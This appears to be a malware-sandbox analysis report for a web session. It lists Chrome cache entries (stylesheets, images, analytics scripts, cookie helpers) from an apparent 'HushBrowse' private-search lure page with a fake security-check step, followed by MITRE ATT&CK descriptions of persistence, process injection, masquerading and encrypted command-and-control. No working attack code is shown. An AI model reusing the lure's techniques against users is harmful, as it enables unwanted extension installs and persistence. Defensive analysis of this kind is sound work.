Preview:	....ftypmp42....mp42mp41....moov...lmvhd.............._...9.................................................@..................................1trak...\tkhd......................9.................................................@..............$edts....elst..........9.............mdia... mdhd..............u0...@.......@hdlr........vide.............Mainconcept Video Media Handler...Aminf....vmhd...............3hdlr........alis............Alias Data Handler....$dinf....dref............url ........stbl....stsd............avc1.............................H...H.........AVC Coding............................,avcC.M@)....gM@)..........>.....@...h. ....stts....................stsc.......................4stsz..............5.......%w...........y...4...............................J...)...c...............................#.......P.......n......C^..............'...3...8...>j..9...?-..9...;a..72..8...-...+........................................'...>..........(q..z...,...-....^...........4...j.......

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	13221
Entropy (8bit):	4.850203765710507
Encrypted:	false
SSDEEP:
MD5:	9DDA69D715A75FD76BB1F833E9DB8FBC
SHA1:	E163A512914B5449860AD4C5756357C8CF23545C
SHA-256:	AF69F24B3CF224E6E75D3F1D23570ACE342609C64E47EFA207F1AD19C8E94BB1
SHA-512:	6EF98071D561FBF199FE07917E789FF9C13305C4728F04483C1E160046AF511A11A0733E6FE8AA369C74249D0411967A8FBE8699E4CFC48C3AD38ACE77B19DAC
Malicious:	false
Reputation:	unknown
URL:	https://cint.hushbrowse.online/private-search/fourth/styles/style.css?v15
Preview:	@import "reboot.css";..html {. scroll-behavior: smooth;. overflow-x: hidden;.}..* {. padding: 0;. margin: 0;. box-sizing: border-box;.}..body {. font-family: 'Inter', sans-serif;. font-size: 16px;. font-weight: 400;. line-height: 1.4;. color: #222;. background: #F6F6F7;. min-height: 100vh;.}...popup {. width: 100%;. height: 100%;. position: fixed;. inset: auto;. background: url("/private-search/fourth/img/page.png") no-repeat top / cover;. display: flex;. align-items: center;. justify-content: center;. padding: 20px 20px 40px 20px;. max-height: 100%;.}...popup:before {. content: '';. width: 100%;. height: 100%;. background: rgba(0, 0, 0, 0.5);. inset: auto;. position: absolute;. z-index: -1;. top: 0;.}...security.download-step-1 .popup {. background-image: none;.}...security.download-step-1 .popup:before {. display: none;.}...security.download-step-1 .popup__wrapper {. background-color: i

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1440 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12577
Entropy (8bit):	5.666181186909877
Encrypted:	false
SSDEEP:
MD5:	249E0547586A4D640C9E456D65BB7D15
SHA1:	96A1EE9AE0B757C3B6DBE2409E40C361C9977D26
SHA-256:	65460F10B9F2022AD931FE2B97A99D5845ADF2D69FFB691A999FD9B7173BE323
SHA-512:	7D4AC91F2C3716E99AC6BC98A7B451F2478C5A42A1289A6B1282ADFD8C8C3EB8193A60BD232D4100D265A0C8283362F9D866A2AE8748F4694C12BF86444D3C33
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.....................pHYs.................sRGB.........gAMA......a...0.IDATx...n[...E...K..;...i..@....%E.....u"..L.?^~..e..>".y].!..x................4...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................5...vyy.~...m4.t....g...-...O.+wqqq....."...lwu~~............xz...T..../..h....(...g.W.z..zf.....3....93........................................................................................................Q

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 1607
Category:	downloaded
Size (bytes):	929
Entropy (8bit):	7.7687396349161455
Encrypted:	false
SSDEEP:
MD5:	5BDA359A9804E53BC1083C7C2AE08AB7
SHA1:	F3C4ADCAB0631C90EE61AD150878BDD46A0BD0A6
SHA-256:	6E8464B04865FF171A2DA95F2610CA378604172C07EB289E5A390230ED17D62F
SHA-512:	B22EDB3D0F49C4F972267FDB0293C68DBBD3AD85BB3A93689A0CA2B3A9DD1D15CC13CE2D539E119CCDAC0B4256392AB9810AF0A169567CDBD859C74C87EBA926
Malicious:	false
Reputation:	unknown
URL:	http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3D&fp=a3db7cd464228025d120ca597c81b5f2
Preview:	............ko.8.........m..&.$.d..J..J..\l'...L..\&.$03.}...&.v-$.k?.....mX.....m...x....wq..4`..-..^..&K....P.E0...}......[w#l..&..x.%.D........].D]?O{+....+..6....5..c..p?zV.6...s`O...1..<.B&B.I............'..................EmK.&(D....../.n..,.SF......A.{"Z...%-..c...uc.E.....f.M..R7.....h...g./.....4.A.Z..C#.K.T.....u!...P;d?.f..q`h".?5L.9.jO..!...OO.5h6...^4......K..F..........5tg.....%..w.fah...+.e....[Z\U.....k.S.c..L..vFq0-E..KP...C..id(r....>.8...wNF.0..n..l.u...J.r..!..G....C._h&g./1..3k..a.......!..R`A.1E..E.{.....bycbk.&..Yp.k.=.Vb..QlA_..FLq..pC....)r.#.PY.0....`;v_.Hb..c..U}...-..t.A2.F....J.;G0.S^c....'O.j.....&.*......../m.o.ca..-'W.]..\|..,..U....>.. Z..+.Z....'(..........(.K.....8.._..}m^NV.4.>E.....D8c.F.......?N..).z>K..d.j..........w..n.....r.?.'RK.{...&..V.........7.Yg..^...w.(.....\.k..m.ae.......]...{?{...Z..~............(.....E.......G...

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:
MD5:	E0AA021E21DDDBD6D8CECEC71E9CF564
SHA1:	9CE3BD4224C8C1780DB56B4125ECF3F24BF748B7
SHA-256:	565339BC4D33D72817B583024112EB7F5CDF3E5EEF0252D6EC1B9C9A94E12BB3
SHA-512:	900110C951560EFF857B440E89CC29F529416E0E3B3D7F0AD51651BFDBD8025B91768C5ED7DB5352D1A5523354CE06CED2C42047E33A3E958A1BBA5F742DB874
Malicious:	false
Reputation:	unknown
URL:	https://impr.hushbrowse.online/impression?c=intpgdirect&ext_name=HushBrowse
Preview:	OK

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 396 x 168, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15361
Entropy (8bit):	7.974596248134107
Encrypted:	false
SSDEEP:
MD5:	C8A13384C78AA8826176B8403CA10F35
SHA1:	7C2E5DE6668717F63226392D6296624885416CF9
SHA-256:	7A9B4E550ED6FB4655D0261A82B7D0854F984E07DA391D692B8BA0E258F6681A
SHA-512:	A0E974BFF63072CA3C72502C2DCAD821E42B5FB1AA63D99B0615772C8989A64D232C67DC8650CB60FF03F14A73B91FA961727393F3E7FDC7637D77447B7D5537
Malicious:	false
Reputation:	unknown
URL:	https://cint.hushbrowse.online/private-search/assets/step-2-hush-browse.png
Preview:	.PNG........IHDR..............s......pHYs.................sRGB.........gAMA......a...;.IDATx..}....u.......Xd.9...L0IT.%...u6.d..}..pg}..@.d.e[T<..D.e..Y".....E.D.)..$.,v.....av...L.jj.{zvg.=.._4z............O..v{]9.....`0...T.`A}.........Kc...DWS..,......P.....b..O...=..CCC.:.s.<..O.....0.r........<c^..'.Y.%vO3Y0.... ..b.t....."..b.ib0.... .."...8.a$...`0....t..i8......`0...H\....0.Y.O....`.q'.s...Fix;1&<..Rl.}.$B.pX.fLl.b1......A....L..B...'./...TVV.:7.!.7i......=].....,.O.....SF..eE...)-a..I...Q...$......vj../.(PW..........o.@...ED..2]0R.'...x..8.CK2..@Xj..r,~(.....Z.4....C'....`.!.....yLd...&...k..................K.GX.........ZE&....=...FUU..<...P..@.1Y02C....p.g\....F...AWW.....b.....)s.H....F@..:...!............$.?\|&...LG.,.U..m...[.GMM..F.....#.....iD..)G(....E>.B.u.i.8.&....F.`.@....`......i ..E5..r..9ct.A.,z{{i<......0h...B.0>...1.H\p.7..}..O...q.....`@..B.F....99.p....G............-.ZN..X ..#;.N.....O..e......+d..hXA.B.K\|.NR....:.a...`_

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	unknown
Preview:	ok

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5830
Entropy (8bit):	4.7167087547088915
Encrypted:	false
SSDEEP:
MD5:	6714F9E839CD45BD3D59EC4BFB743A81
SHA1:	B4853010F45A6E349BDE366CAA57E300CE5D3720
SHA-256:	8E69C02DDA9F11E6EBBC426F2CE05C714799E9E3D849C785A738BCFA9581B72E
SHA-512:	D1D3751071BDD87CEE801C241A1129176AA0339CFD0B3498AF2C934B12A597F5D27563079F99B548B25A33091ECC7104D9682ABCFF0B40F4856BC18135E0813D
Malicious:	false
Reputation:	unknown
URL:	https://cint.hushbrowse.online/private-search/fourth/styles/security-check.css?v5
Preview:	.border-animate {. background: linear-gradient(90deg, rgba(0, 0, 0, 0.50) 50%, transparent 50%),. linear-gradient(90deg, rgba(0, 0, 0, 0.50) 50%, transparent 50%),. linear-gradient(0deg, rgba(0, 0, 0, 0.50) 50%, transparent 50%),. linear-gradient(0deg, rgba(0, 0, 0, 0.50) 50%, transparent 50%);. background-repeat: repeat-x, repeat-x, repeat-y, repeat-y;. background-size: 16px 1px, 16px 1px, 1px 16px, 1px 16px;. background-position: 0 0, 100% 100%, 0 100%, 100% 0;. border-radius: 6px;. animation: dash 30s linear infinite;.}..@keyframes dash {. to {. background-position: 100% 0, 0 100%, 0 0, 100% 100%;. }.}...task-container {. margin: 25px 0;. position: relative;. height: 180px;. width: 100%;. border-radius: 12px;. background: #F8FAFC;. overflow: hidden;. animation: fadeIn 0.5s ease;.}...note {. position: absolute;. width: 40px;. height: 40px;. background: #3B82F6;. border-radius: 50%;. display: flex;. a

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2499
Entropy (8bit):	5.4636477793325495
Encrypted:	false
SSDEEP:
MD5:	382991778933FB8F5697DEB2EE26A0ED
SHA1:	6CDED0C76F01EA3C3C6DB8128B5CF59063A92C78
SHA-256:	0919FF36779EEF85FA50AF4B94FB2D496A765612B7C5EDD31BA69EA1F4136736
SHA-512:	FC05BAFD9EB747B7060B8C730E8A467CFD0A0311622B325E5EB74A1083D3A7B8897396CF4FE310E7567EAA1B5A951AB3906F57E57671F2852A18ED1AD0E7E2C9
Malicious:	false
Reputation:	unknown
URL:	https://fonts.googleapis.com/css2?family=Inter:wght@100..900&display=swap
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Inter';. font-style: normal;. font-weight: 100 900;. font-display: swap;. src: url(https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2JL7SUc.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Inter';. font-style: normal;. font-weight: 100 900;. font-display: swap;. src: url(https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa0ZL7SUc.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Inter';. font-style: normal;. font-weight: 100 900;. font-display: swap;. src: url(https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2ZL7SUc.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Inter';. font-style: normal;. font-weight: 100 900;. f

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (551)
Category:	downloaded
Size (bytes):	227261
Entropy (8bit):	5.483775665452673
Encrypted:	false
SSDEEP:
MD5:	7204A090B5E030D4C2CD9FF168D00C7A
SHA1:	B68C14E834050BD237D222F7F8772C8D87EC1BE9
SHA-256:	1B16FB7B71EB885AB2F0310063BA192F2786F428CD4F52C21596C88CCD8DD848
SHA-512:	DFD75CC95F1FC5919B7E7EF5430C45E09069E2B0A0D9EA6D5333737CA3FBE297320C067654E54D79A4CACA17E4B413BE5B09E3C55EE835308FF345B533F676AC
Malicious:	false
Reputation:	unknown
URL:	https://mc.yandex.ru/metrika/tag.js
Preview:	.(function(){function La(ba){var ta=0;return function(){return ta<ba.length?{done:!1,value:ba[ta++]}:{done:!0}}}function u(ba){var ta="undefined"!=typeof Symbol&&Symbol.iterator&&ba[Symbol.iterator];if(ta)return ta.call(ba);if("number"==typeof ba.length)return{next:La(ba)};throw Error(String(ba)+" is not an iterable or ArrayLike");}function Pa(ba){for(var ta,$a=[];!(ta=ba.next()).done;)$a.push(ta.value);return $a}function Va(ba){return ba instanceof Array?ba:Pa(u(ba))}.var Of="function"==typeof Object.create?Object.create:function(ba){function ta(){}ta.prototype=ba;return new ta},Pf;if("function"==typeof Object.setPrototypeOf)Pf=Object.setPrototypeOf;else{var Mh;a:{var Nh={a:!0},Oh={};try{Oh.__proto__=Nh;Mh=Oh.a;break a}catch(ba){}Mh=!1}Pf=Mh?function(ba,ta){ba.__proto__=ta;if(ba.__proto__!==ta)throw new TypeError(ba+" is not extensible");return ba}:null}var Fm=Pf;.function Gm(ba,ta){ba.prototype=Of(ta.prototype);ba.prototype.constructor=ba;if(Fm)Fm(ba,ta);else for(var $a in ta)if("p

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (583)
Category:	downloaded
Size (bytes):	5498
Entropy (8bit):	5.847347848435852
Encrypted:	false
SSDEEP:
MD5:	D2BB3AE594ACE88EF30EE3829D83F360
SHA1:	88FA158D7F7C72D86EFD52A5C16931A14C43E3F2
SHA-256:	481BE5E07D25ACC99546733A64F75D59AA6F347C2BC3CCC6233FCAF3EBFFBDFE
SHA-512:	0365D2DF7BED810ECA3059D5E7BBF784EDA7B6B88F5C0532BA1A7056F2FCD3C4447A4CBB0FAE818B12D32583916AC7DE8D9FF7DE4D53E5BCA7FCA6945F7DEDD9
Malicious:	false
Reputation:	unknown
URL:	https://mc.yandex.com/metrika/metrika_match.html
Preview:	<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">.<html>.<head>. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">. <meta name="viewport" content="width=device-width,initial-scale=1">. <style>body {background-color:#EFF2F7;font-family:system-ui,sans-serif;color:#2F3746;}.main{display:flex;flex-direction:column;align-items:center;}button {background-color:#7A45E5;border-radius:14px;cursor:pointer;color:white;border:0;padding:16px 20px;}button:hover {background-color:#8659e0;}h1{font-size:140px;white-space:nowrap;}h3{font-size:32px;text-align:center;}p{max-width:600px;line-height:24px;text-align:center;margin-bottom:32px;}@media (prefers-color-scheme: dark) {body {background-color:#333;color:white;}}@media (max-width: 650px) {h1 {font-size: 60px;}}</style>.</head>.<body>. <div class="main">. <h1 aria-hidden="true">.\_(.)_/.</h1>. <h3>Something

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	94
Entropy (8bit):	4.648751656165808
Encrypted:	false
SSDEEP:
MD5:	E96DDCEB1C305B9AD21EAAE42522C26F
SHA1:	AD08AE39A71ED5BA992B8B5DABC450D046354696
SHA-256:	9221CFEDFC5E03790F46C7890BCA21FCC47C5788D89DAB0AA0799C492B6AE78A
SHA-512:	1CC850F76467645447E9935F4DE13EDE698727B4FB598C7BD36DE2779596D8B5A85CB94B0CF1FB2259AD1D988F1F199E3F4C310DFDC22FCDD378B8E773F0DBD5
Malicious:	false
Reputation:	unknown
URL:	http://fywiei.com/favicon.ico
Preview:	<html><body><h1>403 Forbidden</h1>.Request forbidden by administrative rules..</body></html>..

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2013)
Category:	downloaded
Size (bytes):	34125
Entropy (8bit):	4.683354782280671
Encrypted:	false
SSDEEP:
MD5:	A3558FD79632F9E991DBE071A3E0CC2D
SHA1:	D988B1C6313E790A7EB2541762707A0642A9DC30
SHA-256:	59A3FDCE22E3B2750072D9B7F725290BBEDD42A0F02C34ECFFF8787121C45D88
SHA-512:	5FF1456C66C851B073807C9BCFA80B09704567D20B1FEFEDA5D3041891C111F19A6B5BD58E3AD42CE408D7AFE7297D07A02B835FD98CA4E6C7D217B1E8675BED
Malicious:	false
Reputation:	unknown
URL:	https://cint.hushbrowse.online/?subid=90945414214&cid=9946&tag=dm&dkw=jmclmedia.ph&pid=249699&rhi=b6da8b5a-c797-4238-9722-26d3d0c3bed9
Preview:	<!doctype html>.<html lang="en">.<head>. <meta charset="UTF-8">. <meta name="viewport". content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">. <meta http-equiv="X-UA-Compatible" content="ie=edge">. <title>Hush Browse</title>.. <link rel="shortcut icon" href="/private-search/favicons/hush-browse.ico" type="image/x-icon">. <link rel="icon" href="/private-search/favicons/hush-browse.ico" type="image/x-icon">.. <link rel="preconnect" href="https://fonts.googleapis.com">. <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>. <link href="https://fonts.googleapis.com/css2?family=Inter:wght@100..900&display=swap" rel="stylesheet">. <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/js/all.min.js"></script>.. <link rel="stylesheet" href="/private-search/fourth/styles/style.css?v15">. <link rel="stylesheet" href="/private-search/fourth/styles/security-check.css?v5">

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	755
Entropy (8bit):	6.600618306353217
Encrypted:	false
SSDEEP:
MD5:	8A71D9EEE38EF2B668AD94C87D507AC7
SHA1:	2C0E62D1F9957ACEBA17EA4899B78E4C1F3C7D1F
SHA-256:	1790340B482133805E34BEB1BD98087A837412EDCF4E924E54430F1C3E5360E6
SHA-512:	F9B78D995605C672BF123B46FA0EAC64AF4AA009FA337B789F500ECBF69050DC59997624913A28BCCD97FF4C8DBEAD814A94A38381AFB490208129D28E3C8289
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............(-.S....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....PLTE...xW.xV.wV.yS.yW.xV.xV.UU..@.xV.xW.xV.xV.ff.xW.wV.xV.yW.yX.zW.xU..`.xV.xV.wW.yV.xV.qU.xV.mI..U.yV.xV.xV.wW.wX.zU.xV.xV.xV.......xV.xV.xV.wS.wV.xV....e......0tRNS....(&.........R7,W.............O:0S.....+..C.Z....bKGD1...r....pHYs...\...\..<.7....tIME........)Af....IDAT......@.D...*........Ur#.N:I.#. Z&h+v.&.4.Y.....IH.c...1LD2.zb6_,EV.7..[v.S5b.8........"..z..2..I\]<.._...2e....h...^..;[..t...%tEXtdate:create.2023-03-29T20:26:04+00:00..:...%tEXtdate:modify.2023-03-29T20:26:04+00:00..B.....tEXtSoftware.www.inkscape.org..<....WzTXtRaw profile type iptc..x.....qV((.O..I.R..#..c..#.K.... D.4.d.#.T ...........H.J.....t.B5.....IEND.B`.

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 34240
Category:	dropped
Size (bytes):	14345
Entropy (8bit):	7.983841695026901
Encrypted:	false
SSDEEP:
MD5:	85EA6B3D9FEF0D0004EBDCA895582A09
SHA1:	EB363E0DE9122E7D786DAAA275CECEC8D83FDF29
SHA-256:	1F147E34DA5DBC0FAB9962CBBEE6893CDB9BA42DC138DAB81C35AEF59B8399AA
SHA-512:	D257382C9DB30E89F41B8D61C77B0375BDAEFD9C7820CBA295D5DDAE167BBFABCA9FBD786DD50697C3F3AFE41C5FDD2819E8FF2207FC79B96F2FF5AB649B4F2C
Malicious:	false
Reputation:	unknown
Preview:	...........}[W...{....(...D6./$.T....$.$.v.pd)......`.._....:.3..4..W...v.n6..:k..,,E....c."bk.........X8..?.t^.7j.V.Vv..$t.."[.,.Z9.-.R..<..Q.^Y.- jV.)..#.b~..J..,..CV9>...P........$..jA8XqE.h.s.j.R..GJ%{..y..C'.D.m\|o..b.~l:~...Un...P.UQwe....Gm^.8..$<0.a..T~5C..M...;4p.a....Q.K.+^Q..=.\...........o.N..L.!%..Dq.X..A.~....Y..>.>....E...z.p..2/..........qTs.?....p#^^V2...P.9\7.)i...8.'#V....{.4.8..f..+.j..}+.n.3\|.Q6R..T.k.h.N.....U+...J,3.8.a.-v/.OOrl......r.@5...C]...D.k>{@m.2.........4.....0.._.O........6.....0.-.F....?.M.b.m%......%...Q...Y..j).D.C#L...<=u{..P...$.\|..FJ......5..mkj.1m......AW.).......9..1......g.e...j.m...x..Ud.LU)kI2.....\|....4`v.c.Yh.A.[@.D.SE57J.b.9\|.<..}..n.(_...0..K...mV..M7d.=...f%1.YMR6..7LB..T..G...Eu6."..........@6.Z.{....u."....b)...)mA.H].P...u.^.#%.....!...P.V-.+.U.A[=.#...L0.....v`X.}..n.'4.i.N.......oS.5.^......B...Y..A....&..-....j.`$c.jD4......q.#G..@*.`3.h..n.V..<=......z..`b.-.v...F.$/.OO../.....A..

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10202
Entropy (8bit):	4.807898883657824
Encrypted:	false
SSDEEP:
MD5:	7518ED19A85411537122BDA9A5F09B04
SHA1:	03968FE38889AD601AD458A573B1C177101B955C
SHA-256:	A837167A8025763D60C56E0CF06A1F1ABAE8E4611A708BBC1B26F01889D2050B
SHA-512:	FCE69813836CD0608783E0FD66F577A4B11AAC62CD2BDF204B6CC044B95DF86ECE19D5476D1F2EB37F9FB59AE6A8FE67D97B61A0835E930B00BEA39FBD815DA8
Malicious:	false
Reputation:	unknown
Preview:	function getCookie(name).{. let namePart = name + '=',. decodedCookie = decodeURIComponent(document.cookie),. cookies = decodedCookie.split(';');.. for(let index = 0; index < cookies.length; index++) {. let cookie = cookies[index];.. while (cookie.charAt(0) === ' ') {. cookie = cookie.substring(1);. }.. if (cookie.indexOf(namePart) === 0) {. return cookie.substring(namePart.length, cookie.length);. }. }.. return null;.}..function setCookie(name, value, expireDays = 0, domain = '').{. domain = domain ? domain : location.host;. let expires = '';.. if (expireDays) {. let date = new Date();. date.setTime(date.getTime() + (expireDays * 24 * 60 * 60 * 1000));.. expires = 'expires=' + date.toUTCString();. }.. document.cookie = name + '=' + value + ';domain=.' + domain + ';path=/;' + expires;.}..function getPOption(name, defaultValue = null) {. if (window.poptions) {.

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -128x-128, 32 bits/pixel
Category:	downloaded
Size (bytes):	144485
Entropy (8bit):	6.2304362032857
Encrypted:	false
SSDEEP:
MD5:	0B5D7F37A2E540E469D1922241B061CE
SHA1:	042009D2E0D8579BB2A7D986C41FECA87CE529D1
SHA-256:	1722A69C82B76A050A67965C6A1D287FBCB60329DAF63BF16290D3123C4321FB
SHA-512:	780195526435B07EEC1CBDBB2D3878E32C11CECFE2A94B19EDA703926C3B3B58E2D5DDDF57BC675AA7E333530EE133FD880A327A46833C8EF2BAB72F28C4ACD7
Malicious:	false
Reputation:	unknown
URL:	https://cint.hushbrowse.online/private-search/favicons/hush-browse.ico
Preview:	............ .....f......... .(...]...@@.... .(B......00.... ..%...... .... .....U......... .h..../...PNG........IHDR.............\r.f....IDATx...w..Gv'..#.\|w.....{.....'.3#..8.F3#..j...w...{..{....v.V.fF.X...'H.. ...h..v......./..I.. @..?DWeeFDf.{......h....K.F.`..G;v<.Q#.....gD...0.6m.n.l......1.\ .0...q0....bj.&..Ms..i..v>..m.80.....7...h~. .>.....AO.x.G........L.........`,..k.@....c=..Z...`..../....A....0..1.c.........x.s..c6.@ .x..l.d.X!..z..ey.{7..-.......G?W...83.}&.........:.X=.jn....qw-..3s.....K.l......Z...U....c.3...<..mc....C........e.F...L.F?.....p...z.uM!...X.........3...p{.....%<...Cuu....P__..h..P...U..B..\|....3.B. ..`..8.\|..l6..s..)..Ed.Y.Rid3...I...L..L.P,X.."....l.@..g9....7...u..\..=t...p.....h...`......0...l..c..{E.h....0...B."....10..............4.....M....A ......a..5.{-...y..m..q...p....n;.m.e...F>.G<....$FF.166...ALNN#_...cIp...B..a.....T8..K.y..q.&..gF.\|vrz........>1. ..#m..E.....?..BM.73..`2.......!.. .."......../.E.X

Static File Info

⊘No static file info

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

